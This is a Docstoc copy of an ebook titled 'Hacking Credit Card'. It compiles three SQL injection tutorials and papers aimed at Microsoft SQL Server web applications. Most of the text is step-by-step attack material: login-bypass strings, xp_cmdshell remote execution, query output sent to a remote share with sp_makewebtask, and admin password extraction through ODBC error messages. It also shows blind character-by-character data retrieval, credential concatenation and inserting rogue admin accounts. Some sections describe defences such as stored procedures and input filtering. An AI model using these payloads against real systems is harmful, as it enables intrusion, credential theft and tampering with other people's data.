Docstoc

20

Document Sample
20 Powered By Docstoc
					Author: Hieupc
Publisher: TheGioiEbook®
Title: Ebook Hacking Credit Card Version 3
Language: English
Contact : hieupc@gmail.com
Y!M: hieuitpc
                        SQL Injection Walkthrough
The following article will try to help beginners with grasping the problems facing them while
trying to utilize SQL Injection techniques, to successfully utilize them, and to protect
themselves from such attacks.

Details:

1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot
return anything useful, and you know that the admin always patch his server, we have to turn
to web hacking. SQL injection is one of type of web hacking that require nothing but port 80
and it might just work even if the admin is patch-happy. It attacks on the web application (like
ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This article does not introduce anything new, SQL injection has been widely written and used
in the wild. We wrote the article because we would like to document some of our pen-test
using SQL injection and hope that it may be of some use to others. You may find a trick or two
but please check out the "9.0 Where can I get more info?" for people who truly deserve credit
for developing many techniques in SQL injection.

1.1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages
take parameters from web user, and make SQL query to the database. Take for instance when
a user login, web page that user name and password and make SQL query to the database to
check if a user has valid name and password. With SQL Injection, it is possible for us to send
crafted user name and/or password field that will change the SQL query and thus grant us
something else.

1.2 What do you need?
Any web browser.

2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback,
etc. Sometimes, HTML pages use POST command to send parameters to another ASP page.
Therefore, you may not see the parameters in the URL. However, you can check the source
code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this
in some HTML codes:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

Everything between the <FORM> and </FORM> have potential parameters that might be
useful (exploit wise).


2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL
that takes parameters, like:

http://duck/index.asp?id=10

3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:

hi' or 1=1--
Into login, or password, or even in the URL. Example:
 - Login: hi' or 1=1--
 - Pass: hi' or 1=1--
 - http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in
your hard disk, modify the URL and hidden field accordingly. Example:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>

If luck is on your side, you will get login without any login name or password.

3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is
also possible to view extra information that is not normally available. Take an asp page that
will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In
order to do that, an ASP might contain the following code (OK, this is the actual code that we
created for this exercise):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should
become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE
condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we
will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is
equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query,
which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace
double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also
may try

' or 'a'='a

The SQL query will now become:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will.
Default installation of MS SQL Server is running as SYSTEM, which is equivalent to
Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to
perform remote execution:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working.

The semi colon will end the current SQL query and thus allow you to start a new SQL
command. To verify that the command executed successfully, you can listen to ICMP packet
from 10.10.1.2, check if there is any packet from the server:

#tcpdump icmp

If you do not get any ping request from the server, and get error message indicating
permission error, it is possible that the administrator has limited Web User access to these
stored procedures.

5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM
INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any
data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the
server. The TABLE_NAME field obviously contains the name of each table in the database. It
was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
This should return the first table name in the database. When we UNION this string value to
an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will
produce an error, since we cannot convert nvarchar to int. The server will display the following
error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'table1' to a column of data type int.
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer.
In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'admin_login' to a column of data type int.
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we
will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns
name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'login_id' to a column of data type int.
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'login_name' to a column of data type int.
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password",
"details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select
list if the statement contains a UNION operator.
/index.asp, line 5

6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same
technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'neo' to a column of data type int.
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the
password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where
login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'm4trix' to a column of data type int.
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we
are trying to convert text that consists of valid number (character between 0-9 only). Let say
we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where
login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will
be converted into a number, before UNION with an integer (10 in this case). Since it is a valid
UNION statement, SQL server will not throw ODBC error message, and thus, we will not be
able to retrieve any numeric entry.
To solve this problem, we can append the numeric string with some alphabets to make sure
the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus')
FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code
for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if
we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the
convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw
out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'31173 morpheus' to a column of data type int.
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or
even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE
login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password',
'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended
character like NULL, carry return, new line, etc, in all strings from:
 - Input from users
 - Parameters from URL
 - Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using
ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
                         Blind SQL Injection

Are your web applications vulnerable?
By Kevin Spett


Introduction
The World Wide Web has experienced remarkable growth in recent years. Businesses,
individuals, and governments have found that web applications can offer effective,
efficient and reliable solutions to the challenges of communicating and conducting
commerce in the Twenty-first century. However, in the cost-cutting rush to bring their
web-based applications on line — or perhaps just through simple ignorance — many
software companies overlook or introduce critical security issues.

To build secure applications, developers must acknowledge that security is a fundamental
component of any software product and that safeguards must be infused with the software
as it is being written. Building security into a product is much easier (and vastly more
cost-effective) than any post-release attempt to remove or limit the flaws that invite
intruders to attack your site. To prove that dictum, consider the case of blind SQL
injection.

What is Blind SQL Injection?
Let’s talk first about plain, old-fashioned, no-frills SQL injection. This is a hacking
method that allows an unauthorized attacker to access a database server. It is facilitated
by a common coding blunder: the program accepts data from a client and executes SQL
queries without first validating the client’s input. The attacker is then free to extract,
modify, add, or delete content from the database. In some circumstances, he may even
penetrate past the database server and into the underlying operating system.1

Hackers typically test for SQL injection vulnerabilities by sending the application input
that would cause the server to generate an invalid SQL query. If the server then returns an
error message to the client, the attacker will attempt to reverse-engineer portions of the
original SQL query using information gained from these error messages. The typical
administrative safeguard is simply to prohibit the display of database server error
messages. Regrettably, that’s not sufficient.

If your application does not return error messages, it may still be susceptible to “blind”
SQL injection attacks.
    a more in-depth view of SQL injection, see SPI Labs’ whitepaper, “SQL Injection: Are Your Web
1 For
Application Vulnerable?”


Detecting Blind SQL Injection Vulnerability
Web applications commonly use SQL queries with client-supplied input in the WHERE
clause to retrieve data from a database. By adding additional conditions to the SQL
statement and evaluating the web application’s output, you can determine whether or not
the application is vulnerable to SQL injection.

For instance, many companies allow Internet access to archives of their press releases. A
URL for accessing the company’s fifth press release might look like this:
        http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5
The SQL statement the web application would use to retrieve the press release might look
like this (client-supplied input is underlined):
        SELECT title, description, releaseDate, body FROM pressReleases WHERE
        pressReleaseID = 5
The database server responds by returning the data for the fifth press release. The web
application will then format the press release data into an HTML page and send the
response to the client.

To determine if the application is vulnerable to SQL injection, try injecting an extra true
condition into the WHERE clause. For example, if you request this URL . . .
        http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND 1=1
. . . and if the database server executes the following query . . .
        SELECT title, description, releaseDate, body FROM pressReleases WHERE
        pressReleaseID = 5 AND 1=1
. . . and if this query also returns the same press release, then the application is
susceptible to SQL injection. Part of the user’s input is interpreted as SQL code.

A secure application would reject this request because it would treat the user’s input as a
value, and the value “5 AND 1=1” would cause a type mismatch error. The server would
not display a press release.

Exploiting the Vulnerability
When testing for vulnerability to SQL injection, the injected WHERE condition is
completely predictable: 1=1 is always true. However, when we attempt to exploit this
vulnerability, we don’t know whether the injected WHERE condition is true or false
before sending it. If a record is returned, the injected condition must have been true. We

can use this behavior to “ask” the database server true/false questions. For instance, the
following request essentially asks the database server, “Is the current user dbo?”
    http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND USER_NAME()
    = 'dbo'
USER_NAME() is a SQL Server function that returns the name of the current user. If the
current user is dbo (administrator), the fifth press release will be returned. If not, the
query will fail and no press release will be displayed.

By combining subqueries and functions, we can ask more complex questions. The
following example attempts to retrieve the name of a database table, one character at a
time.
    http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
    ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,
    1))) > 109
The subquery (SELECT) is asking for the name of the first user table in the database
(which is typically the first thing to do in SQL injection exploitation). The substring()
function will return the first character of the query’s result. The lower() function will
simply convert that character to lower case. Finally, the ascii() function will return the
ASCII value of this character.

If the server returns the fifth press release in response to this URL, we know that the first
letter of the query’s result comes after the letter “m” (ASCII character 109) in the
alphabet. By making multiple requests, we can determine the precise ASCII value.
    http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
    ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,
    1))) > 116
If no press release is returned, the ASCII value is greater than 109 but not greater than
116. So, the letter is between “n” (110) and “t” (116).
    http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
    ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,
    1))) > 113
Another false statement. We now know that the letter is between 110 and 113.
    http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
    ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,
    1))) > 111
False again. The range is narrowed down to two letters: ‘n’ and ‘o’ (110 and 111).

    http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
    ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,
    1))) = 111
The server returns the press release, so the statement is true! The first letter of the query’s
result (and the table’s name) is “o.” To retrieve the second letter, repeat the process, but
change the second argument in the substring() function so that the next character of the
result is extracted: (change underlined)
    http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
    ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,
    1))) > 109
Repeat this process until the entire string is extracted. In this case, the result is “orders.”
As you can see, simply disabling the display of database server error messages does not
offer sufficient protection against SQL injection attacks.
Solutions
To secure an application against SQL injection, developers must never allow client-
supplied data to modify the syntax of SQL statements. In fact, the best protection is to
isolate the web application from SQL altogether. All SQL statements required by the
application should be in stored procedures and kept on the database server. The
application should execute the stored procedures using a safe interface such as JDBC’s
CallableStatement or ADO’s Command Object. If arbitrary statements must be used, use
PreparedStatements. Both PreparedStatements and stored procedures compile the SQL
statement before the user input is added, making it impossible for user input to modify
the actual SQL statement.
Let’s use pressRelease.jsp as an example. The relevant code would look something like
this:
    String query = “SELECT title, description, releaseDate, body FROM pressReleases
    WHERE pressReleaseID = “ + request.getParameter(“pressReleaseID”); Statement
    stmt = dbConnection.createStatement(); ResultSet rs = stmt.executeQuery(query);
The first step toward securing this code is to take the SQL statement out of the web
application and put it in a stored procedure on the database server.
    CREATE PROCEDURE getPressRelease @pressReleaseID integer AS SELECT title,
    description, releaseDate, body FROM pressReleases WHERE pressReleaseID =
    @pressReleaseID

Now back to the application. Instead of string building a SQL statement to call the stored
procedure, a CallableStatement is created to safely execute it.
    CallableStatement cs = dbConnection.prepareCall(“{call getPressRelease(?)}”);
    cs.setInt(1, Integer.parseInt(request.getParameter(“pressReleaseID”))); ResultSet rs =
    cs.executeQuery();
In a .NET application, the change is similar. This ASP.NET code is vulnerable to SQL
injection:
    String query = "SELECT title, description, releaseDate, body FROM pressReleases
    WHERE pressReleaseID = " + Request["pressReleaseID"];
    SqlCommand command = new SqlCommand(query,connection);
    command.CommandType = CommandType.Text;
    SqlDataReader dataReader = command.ExecuteReader();
As with JSP code, the SQL statement must be converted to a stored procedure, which can
then be accessed safely by a stored procedure SqlCommand:
    SqlCommand command = new SqlCommand("getPressRelease",connection);
    command.CommandType = CommandType.StoredProcedure;
    command.Parameters.Add("@PressReleaseID",SqlDbType.Int);
    command.Parameters[0].Value = Convert.ToInt32(Request["pressReleaseID"]);
    SqlDataReader dataReader = command.ExecuteReader();
Finally, reinforcement of these coding policies should be performed at all stages of the
application lifecycle. The most efficient way is to use a vulnerability assessment tool
such as WebInspect. Developers simply run WebInspect, WebInspect for Microsoft
Studio .NET, or WebInspect for IBM WebSphere Studio Application Developer. This
allows application and web services developers to automate the discovery of security
vulnerabilities as they build applications, access detailed steps for remediation of those
vulnerabilities, and deliver secure code for final quality assurance testing.
Early discovery and remediation of security vulnerabilities reduces the overall cost of
secure application deployment, improving both application ROI and overall
organizational security.


                          Web application and SQL Injection


Today many business houses and governments and society in general depends a great deal on web
applications. All these web applications are accessed using Internet and so face risks associated with usage
of Internet. Risks associated with usage of Internet are evident with the increasing number of reported
incidents on the Internet security sites. Thus all our important information assets are at risk with increased
tendency of attackers to break into the computer systems.

Security of information assets manifests in usage of various types of hardware as well as software products,
network topologies and configurations, and secured applications. Now it has accepted that custom web
applications that are insecurely coded pose the greatest risk to the sensitive data.

With improved performance of database server’s most of the web applications use RDBMS (Relational
Database Management Systems). And the web applications allow its valid users to either store/edit/view the
data stored in RDBMS through the interface coded by the application programmers. Traditionally
programmers have been trained in terms of writing code to implement the intended functionality but they are
not aware of the security aspects in many ways. Thus now we have insecure interface to the most valuable
data stored in RDBMS because of the vulnerability in the web application called ‘SQL Injection’. Attackers
use exposure due to SQL injection vulnerability to interact with RDBMS servers in SQL (Structured Query
Language). In other words it means that attackers are able to send SQL statements to RDBMS, which it
executes and returns the results back to the attacker. The risk of such attacks on commercial application
increases if the web application is delivered along with the source code or if it is an open-source application.
Since the attacker can find potential vulnerable statements before they launch the attack.

This paper focuses on educating the security professionals with the risks associated with this situation and
tries to give brief understanding of various kinds of attacks that attacker may launch and outline of various
strategies that can be evaluated and adopted to protect the valuable information assets.

1.1 What is SQL injection

Normally web applications provide interface to the user to input the information. These user inputs are
further used for many purposes one of which is to query the databases. The user input as part of SQL
statements gets executed on the RDBMS. SQL injection is trying to input such data through the web
application’s user interface that would give malicious user the sensitive information, edit/modify the
protected data or crash the entire system etc. In the worst-case scenarios the malicious user is able to even
penetrate further into the network by compromising the security of the database host machine.

There are four main categories of SQL Injection attacks against databases
      1.   SQL Manipulation: manipulation is process of modifying the SQL statements by using various
           operations such as UNION .Another way for implementing SQL Injection using SQL Manipulation
           method is by changing the where clause of the SQL statement to get different results.
      2.   Code Injection: Code injection is process of inserting new SQL statements or database commands
           into the vulnerable SQL statement. One of the code injection attacks is to append a SQL Server
           EXECUTE command to the vulnerable SQL statement. This type of attack is only possible when
           multiple SQL statements per database request are supported.
      3.   Function Call Injection: Function call injection is process of inserting various database function calls
           into a vulnerable SQL statement. These function calls could be making operating system calls or
           manipulate data in the database.
      4.   Buffer Overflows: Buffer overflow is caused by using function call injection. For most of the
           commercial and open source databases, patches are available. This type of attack is possible
           when the server is un-patched

All the normal client server technologies or web technologies are susceptible to this attack, the quick list of
the technologies is:
JSP                                       ASP
XML, XSL                                  Javascript
VB, MFC, and other ODBC-based             3- and 4GL-based languages such as C, OCI,
tools and APIs                            Pro*C, and COBOL
Perl and CGI scripts that access
                                          many more
Oracle databases
Note:
RFC standards limit the set of characters that can be used as part of the URL to pass the information from
client to server. This restricted set of characters is a subset of US-ASCII set of characters. All the browsers
that are compliant with RFC standards convert the characters forming the URL in the permissible set of
characters. Thus the URL encoding would change the ‘+’ in 2B or ‘=’ would become 3D etc. Just for the
readability of the paper ASCII character set is used for the URL’s.



2. Detection of SQL Injection Vulnerability


Detection of SQL injection is tough because it may be present in any of the many interfaces application
exposes to the user and it may not be readily detectable. Therefore identifying and fixing this vulnerability
effectively warrants checking each and every input that application accepts from the user.

2.1 How to find if the application is vulnerable or not

As mentioned before web applications commonly use RDBMS to store the information. The information in
RDBMS is stored/retrieved with the help of SQL statements. Common mistake made by developers is to
use, user supplied information in the ‘Where’ clause of the SQL statement while retrieving the information.
Thus by modifying the ‘Where’ clause by additional conditions to the ‘Where’ clause; entire SQL statement
can be modified. The successful attempt to achieve this can be verified by looking at the output generated
by the DB server. Following Example of ‘Where’ clause modification would explain this further.

If the URL of a web page is:
     1.   http://www.prey.com/sample.jsp?param1=9 The SQL statement the web application would use to
          retrieve the information from the database may look like this: SELECT column1, column2 FROM
          Table1 WHERE param1 = 9 After executing this query the database would return data in columns1
          and column2 for the rows which satisfy the condition param1 = 9. This data is processed by the
          server side code like servlets etc and an HTML document is generated to display the information.
     2.   To test the vulnerability of the web application, the attacker may modify the ‘Where’ clause by
          modifying the user inputs in the URL as follows. http://www.prey.com/sample.jsp?param1=9 AND
          1=1 And if the database server executes the following query: SELECT coulmn1, column2 FROM
          Table1 WHERE param1 = 9 AND 1=1 . If this query also returns the same information as before,
          then the application is susceptible to SQL injection


2.2 Query Enumeration with Syntax errors

Many web servers return the incorrect syntax error along with the part of the SQL statement that was sent to
database server for execution. This situation provides an opportunity to the hacker’s to generate errors by
trying various input combinations and get the SQL statement in the error message. After getting the good
idea about the existing SQL statement like this, hacker may try other SQL constructs in the injection.

Suggested attack strings are
                                                                ' or 0=0 " or     or 0=0
‘           Badvalue’ ‘ OR ‘      ‘ OR      ;         9,9,9
                                                                --       0=0 --   --
                         or 0=0   ' or      " or      ') or     ' or     " or     or 1=1-
' or 0=0 # " or 0=0 #
                         #        'x'='x    "x"="x    ('x'='x   1=1--    1=1--    -
hi") or                  " or     ') or     ") or     hi" or    hi" or   hi' or   hi' or
            ' or a=a--
("a"="a                  "a"="a   ('a'='a   ("a"="a   "a"="a    1=1 --   1=1 --   'a'='a
hi') or
('a'='a
The above listed malicious inputs may or may not give same results. Therefore it will be good to try all the
inputs.

2.2.1 Analyzing the result set
After trying to inject a single quote (‘) and it’s above mentioned combinations or trying to attach and AND
condition that is always true, the returned message needs to be analyzed. If the return message contains
some kind of database error then SQL injection was definitely successful. In case there isn’t a direct
database error message, it is worth checking on previous pages or in the header information for the SQL
words like ODBC, SQL Server etc All the places need to be checked including the hidden variables.

A secure web application would validate the user inputs and would reject such values. So ideally such
values input by the user should cause errors that are handled by the application and no error message
hinting failure of the database command will get displayed to the user. If the database errors were directly
displayed to the user, which is the default behavior of the ASP/JSP then the attacker, would be able to get
entire structure of the database and read data in the database that the application user account can
potentially read.



3. Database Foot Printing
3.1 Knowing Database Tables/Columns

Every attacker would try to get all the information regarding the database design of the target application in
order to make maximum of the opportunity and launch a systematic attack.

Let’s assume that there is a ASP page used for User Login developed by a very naïve developer in which
the there is no custom error handling and the attacker has found out that the page is open to SQL injection
attack by injecting ‘ in the username field.

The page uses following SQL statement to verify the users credentials in the database. Select * from users
where username = ‘ ” + Inp_username + ” ’ and password = ‘ “ + Inp_password + ” ‘ “ ;

3.1.1 Knowing Database Tables/Columns – Step1
First, the attacker would want to establish the names of the tables that the query operates on, and the
names of the fields. To do this, the attacker uses the 'having' clause of the 'select' statement:

Inp_username: ' having 1=1-- This provokes the following error:




Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP BY clause.

/mydir/process_login.asp, line 26
So the attacker now knows the table name and column name of the first column in the query.

3.1.2 Knowing Database Tables/Columns – Step2
They can continue through the columns by introducing each field into a 'group by' clause, as follows:

Inp_username: ' group by users.id having 1=1 -- (which produces the error)




Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list
because it is not contained in either an aggregate function or the GROUP BY clause.

/mydir/process_login.asp, line 26

3.1.3 Knowing Database Tables/Columns – Step3
Eventually after using the string ‘ group by users.username having 1=1 – and getting the last column
(password), the attacker arrives at the following

'Inpusername': ' group by users.id, users.username, users.password, users.privs having 1=1—
… which produces no error
SQL statement is functionally equivalent to:
select * from users where username = ''
So the attacker now knows that the query is referencing only the 'users' table, and is using the columns
'username, password, privs, id', in that order.

3.1.4 Knowing Database Tables/Columns – Step4
It would be useful if he could determine the types of each column. This can be achieved using a 'type
conversion' error message, like this:
Inpusername: ' union select sum(users.username) from users—




This takes advantage of the fact that SQL server attempts to apply the 'sum' clause before determining
whether the number of fields in the two rowsets is equal. Attempting to calculate the 'sum' of a textual field
results in this message:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a
varchar data type as an argument.
/mydir/process_login.asp, line 26
Above message gives us that the 'username' field has type 'varchar'.
3.1.5 Knowing Database Tables/Columns – Step5
On the other hand, we attempt to calculate the sum() of a numeric type, we get an error message telling us
that the number of fields in the two rowsets don't match:
Inp_username: ' union select sum(id) from users --




Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server] All queries in
an SQL statement containing a UNION operator must have an equal number of expressions in their target
lists.
/mydir/process_login.asp, line 26
This technique can be used to determine the type of any column of any table in the database. This allows
the attacker to create a well - formed 'insert' query, like this:
Inp_username: ' ; insert into users values('attacker', 'foobar' , 66,3 ) –
Allowing access to the attacker:




Further Information such as knowing the database server version can also be obtained as follows.
3.2 Getting Database Server Information

In our sample login page, for example, the following 'Inpusername' will return the specific version of SQL
server, and the server operating system it is running on:
Username: ' union select @@version,1,1,1--




3.3 Getting credentials of other users

Since the attacker is interested in usernames and passwords, they are likely to read the
usernames/passwords from the 'users' table. This also illustrates another point; Transact-SQL statements
can be on the same line without altering their meaning. The following script will concatenate the values:
begin declare @ret varchar(8000)
set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as
ret into foo end
Above statement upon execution creates a table 'foo', which contains the single column 'ret', and puts our
string into it. Normally even a low-privileged user will be able to create a table in a sample database, or the
temporary database.
The attacker then selects the string from the table, as before:
Inpusername: ' union select ret,1,1,1 from foo--
And then drops (deletes) the table, to tidy up:
Inpusername: '; drop table foo--



4. Attacks


In this section we will look at various attacks that exploit this vulnerability. There are four types of SQL
Injection attacks. We will see attacks of each type in this section. All of these types of SQL injection are valid
for databases like MS SQL Server, Oracle, DB2, MySQL, and PostgreSQL.

4.1 Authorization by pass (SQL manipulation)

This technique would give the attacker access to the with the privileges of the first user in the database. This
attack would be used to by pass the log on screen.

The SQL statement used by the application is:

    1.   SQL= “SELECT Username FROM Users WHERE Username= ”&strInputUsername&”’AND
         Password = ‘”&strInputPassword&”’”
    2.   StrAuthorizationChk = ExecQuery(SQL);
    3.   If StrAuthorizationChk= “” then
    4.   BoolAuthnticated = False;
    5.   Else
    6.   BoolAuthenticated = True;
    7.   EndIf

Above code shows SQL statement used for authentication. This SQL statement takes two inputs from the
user input strInputUsername and strInputPassowrd. This query tries to find Username in the Users Table
that has Username column with value equal to strInputUserName and value in the Password column equal
to strInputPassword. After execution of this statement on line 2, if a match is found the StrAuthorizationChk
string will have the Username in it.

Program logic in the lines 3 through 7 is simply declaring user authenticated or not. If there is no validation
on the input what so ever then input can contain any characters. So inputs can be modified such that even if
one does not know a valid user and his password he would get authenticated. By inputting following values.

Login name : ‘OR “=’
Password : ‘OR “=’

This will change SQL query as follows
SELECT Username from Users WHERE Username = “OR “=” AND Password =” OR “=”
This query ends up finding a user where Username is blank or “ = “ i.e. ‘nothing’ is equal to ‘nothing’ which is
always true and same for the password as well. Since the very first row in the table will meet the criterion in
the query, it will get selected. And without valid username or password attacker could login.
4.2 Exploiting SELECT

To the most part in the real life the SQL injection is not as straight forward as what is shown above. Most of
the times attackers would see some error message and will have to reverse engineer their queries. To do
this one must know how to interpret the error messages and how to modify the injected string.

4.2.1 Direct Vs Quoted (SQL manipulation)
These two types of SQL injection are direct or quoted. In direct attack the input data become part of the SQL
statement formed by the application. To manipulate the SQL statements in this type attacker has to simply
add space (‘ ‘) and OR to the input. Upon execution if the error message is returned then the injection was
successful. The directly used values could be in the WHERE clause like
SQL = “SELECT Title, Author, Publishing from Books where ISBN =”&InputISBNNum
OR
SQL = “SELECT Title, Author, Publishing from Books ORDER by “&strInputColumn
All the other possible injections are quoted SQL statements. In quoted injection the injected string has a
quote appended to it like.
SQL = “SELECT Title, Author, Publishing from Books WHERE ISBN = ‘ ” & strInputISBN & “ ‘ ”
